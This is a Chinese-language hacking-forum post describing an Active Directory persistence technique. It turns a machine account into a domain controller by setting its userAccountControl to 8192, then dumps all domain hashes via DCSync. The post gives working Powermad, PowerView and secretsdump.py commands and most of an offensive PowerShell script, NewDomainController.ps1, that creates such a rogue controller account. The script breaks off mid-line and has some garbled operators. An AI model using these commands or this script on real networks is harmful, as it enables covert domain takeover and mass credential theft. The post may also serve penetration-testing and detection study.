標題:利用機器賬戶進行域權限維持

taibeihacker

Moderator

0x00 前言​

機器帳戶被許多技術用於權限提升和橫向移動,但也有通過機器帳戶建立域權限持久性的情況。這涉及將任意機器帳戶添加到特權組(例如域管理員組)或修改機器帳戶的userAccountControl屬性中,使其轉換為域控制器。在這兩種情況下,攻擊者都可以通過機器帳戶進行身份驗證並執行特權操作,例如通過DCSync 導出所有域哈希等。
@Sean Metcalf是第一個公開披露如何通過將機器帳戶添加到高權限組來將機器帳戶用作域持久性後門的人,此方法與向域管理員組添加標準用戶帳戶相同。 2020 年,@Stealthbits發布了一篇名為《SERVER (UN)TRUST ACCOUNT》 的文章,展示了另一種持久性技術,其中涉及如何從機器帳戶進行Active Directory 複製。儘管通過DCSync 技術轉儲密碼哈希並不新鮮,並且相關操作可能會觸發適當的警報,但使用機器帳戶執行相同的技術能夠達到更隱蔽的目的。

0x01 userAccountControl基础知识​

在活動目錄中,userAccountControl是每一個賬戶的必備屬性,該屬性是一個位字段,不同的標誌位代表不同的用戶信息,該屬性的值為所有標誌位值的和。
1049983-20220902011527072-1200698617.png

下圖是微軟官方文檔中給出的可能標誌位,以及其十六進制和十進制值,詳情請參考:Use the UserAccountControl flags to manipulate user account properties。
1049983-20220902011528087-1699972102.png

userAccountControl中有一個名為SERVER_TRUST_ACCOUNT的標誌位,其十六進制值為0x2000,十進制值為8192,用來表示該賬戶是域控制器的機器帳戶。當機器賬戶的userAccountControl屬性設置了SERVER_TRUST_ACCOUNT標誌位後,Active Directory 必須將該賬戶的primaryGroupId屬性設置為域控制器組的RID。因此,只需更改userAccountControl的標誌位即可為普通域成員機器授予域控制器的特權。

0x02 实验测试一​

在實戰中,攻擊者可以通過濫用userAccountControl屬性,將普通域內機器的身份變為域控制器,並配合DCSync 技術實現域持久化。具體做法比較簡單,就是將機器賬戶的userAccountControl屬性值設置為8192。
(1)在域控制器上執行以下命令,通過Powermad在域內創建一個名為PENTEST$的機器賬戶,賬戶密碼設為Passw0rd。
Import-Module .\Powermad.ps1# 設置機器賬戶的密碼
$Password=ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force
# 通過New-MachineAccount 函數創建一個機器賬戶
New-MachineAccount -MachineAccount 'PENTEST' -Password $($Password) -Domain 'pentest.com' -DomainController 'DC01.pentest.com' -Verbose
1049983-20220902011528877-1170782250.png

(2)執行以下命令,通過PowerView.ps1查詢新添加的機器賬戶PENTEST$。可以看到,賬戶PENTEST$的主要組ID(primaryGroupId)為515,這是Domian Computers 組的RID,說明PENTEST$此時還是一台普通域成員機器,如下圖所示。
Import-Module .\PowerView.ps1
Get-NetComputer -Identity 'PENTEST' -Properties name, primaryGroupID, userAccountControl
1049983-20220902011529472-1045607856.png

(3)執行以下命令,通過PowerView.ps1 將PENTEST$賬戶的userAccountControl屬性值設為8192,這將更改賬戶的主要組ID 為516,如圖下所示。此時,PENTEST$賬戶的主要組被改為了Domain Controllers,也就是域控制器組。
Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'PENTEST$' -Set @{'userAccountControl'=8192} -Verbose
1049983-20220902011530260-1839817708.png

如下圖所示,此時PENTEST$賬戶已經是一台域控制器了。
1049983-20220902011530940-590004397.png

(4)由於其擁有所需的特權並且賬戶密碼已知,所以在普通域主機上可直接通過secretsdump.py 執行DCSync 操作來導出域用戶哈希,如圖所示。
python3 secretsdump.py pentest.com/PENTEST\$:[email protected] -just-dc
1049983-20220902011532318-2096221811.png

根據上述利用過程,編寫了一個簡單的PowerShell 腳本NewDomainController.ps1,以下是完整的代碼:
Function NewDomainController {
#
.SYNOPSIS
This script will create a new domain controller account in the domain for the purpose of domain persistence.
.DESCRIPTION
In Active Directory, userAccountControl is a necessary attribute of each account. This attribute is a bit
field. Different flags represent different user information. The value of this attribute is the sum of all
flags. There is a flag named SERVER_TRUST_ACCOUNT in userAccountControl, whose hexadecimal value is0x2000
and decimal value is 8192, which is used to indicate that the account is the machine account of the domain
controller. When a machine account's userAccountControl attribute has the SERVER_TRUST_ACCOUNT bit set,
Active Directory must set the account's primaryGroupId attribute to the RID of the domain controller group.
So just change userAccountControl to grant domain controller privileges to normal domain member machines.
.LINK
.PARAMETER Domain
Specifies the domain name, if omitted, the domain name will be obtained automatically.
.PARAMETER DomainController
Specifies the FQDN of the domain controller.
.PARAMETER MachineAccount
Specifies the name of the machine account to be created.
.PARAMETER Password
Specifies the password of the machine account to be created.
.OUTPUTS
Output will be shown in the console
.NOTES
Version: 0.1
Author: WHOAMI
Date: 01/18/2022
.EXAMPLE
NewDomainController -MachineAccount 'PENTEST' -Password 'Passw0rd' -Domain 'pentest.com' -DomainController 'DC01.pentest.com'
#
param (
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$Domain,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$DomainController,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$MachineAccount,
[Parameter(Mandatory=$false)]
[ValidateNotNullOrEmpty()]
[string]$Password
)
function FormatStatus([string]$Flag, [string]$Message) {
If($Flag -eq '1') {
Write-Host '[+] ' -ForegroundColor:Green -NoNewline
Write-Host $Message
}ElseIf($Flag -eq '0') {
Write-Host '[-] ' -ForegroundColor:Red -NoNewline
Write-Host $Message
}
}
$null=[System.Reflection.Assembly]:LoadWithPartialName('System.DirectoryServices.Protocols')
if($Password)
{
$SecurePassword=$Password | ConvertTo-SecureString -AsPlainText -Force
$PasswordBSTR=[System.Runtime.InteropServices.Marshal]:SecureStringToBSTR($SecurePassword)
$PasswordClearText=[System.Runtime.InteropServices.Marshal]:PtrToStringAuto($PasswordBSTR)
$PasswordClearText=[System.Text.Encoding]:Unicode.GetBytes(''' + $PasswordClearText + ''')
}
if(!$DomainController -or !$Domain)
{
try
{
$CurrentDomain=[System.DirectoryServices.ActiveDirectory.Domain]:GetCurrentDomain()
}
catch
{
FormatStatus 0 '$($_.Exception.Message)'
throw
}
if(!$DomainController)
{
$DomainController=$CurrentDomain.PdcRoleOwner.Name
FormatStatus 1 'Get Domain Controller: $DomainController'
}
if(!$Domain)
{
$Domain=$CurrentDomain.Name
$Domain=$Domain.ToLower()
FormatStatus 1 'Get Domain Name: $Domain'
}
}
$_MachineAccount=$MachineAccount
if($MachineAccount.EndsWith('$'))
{
$SAMAccountName=$_MachineAccount
$_MachineAccount=$_MachineAccount.SubString(0,$_MachineAccount.Length - 1)
}
else
{
$SAMAccountName=$_MachineAccount + '$'
}
FormatStatus 1 'Get SAMAccountName: $SAMAccountName'
$DistinguishedName='CN=$_MachineAccount,CN=Computers'
$DC_array=$Domain.Split('.')
ForEach($DC in $DC_array)
{
$DistinguishedName +=',DC=$DC'
}
FormatStatus 1 'Get DistinguishedName: $DistinguishedName'
FormatStatus 1 'Start creating a machine account $MachineAccount'
$identifier=New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
$connection=New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
$connection.SessionOptions.Sealing=$true
$connection.SessionOptions.Signing=$true
$connection.Bind()
$request=New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
FormatStatus 1 'Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName'
$request.DistinguishedName=$DistinguishedName
$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'objectClass','Computer')) $null
FormatStatus 1 'Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName'
$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'SamAccountName',$SAMAccountName)) $null
FormatStatus 1 'Set the userAccountControl property of the $MachineAccount account to 8192'
$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'userAccountControl','8192')) $null
FormatStatus 1 'Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain'
$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'DnsHostName','$_MachineAccount.$Domain')) $null
FormatStatus 1 'Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain'
$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'ServicePrincipalName','HOST/$_MachineAccount.$Domain','RestrictedKrbHost/$_MachineAccount.$Domain','HOST/$_MachineAccount','RestrictedKrbHost/$_MachineAccount')) $null
FormatStatus 1 'Set the password for the $MachineAccount account to $Password'
$request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'unicodePwd',$PasswordClearText)) $null
try
{
$connection.SendRequest($request) $null
FormatStatus 1 'Create machine account $MachineAccount successfully'
}
catch
{
FormatStatus 0 '$($_.Exception.Message)'
if($error_message -like '*Exception calling 'SendRequest' with '1' a
 
返回
上方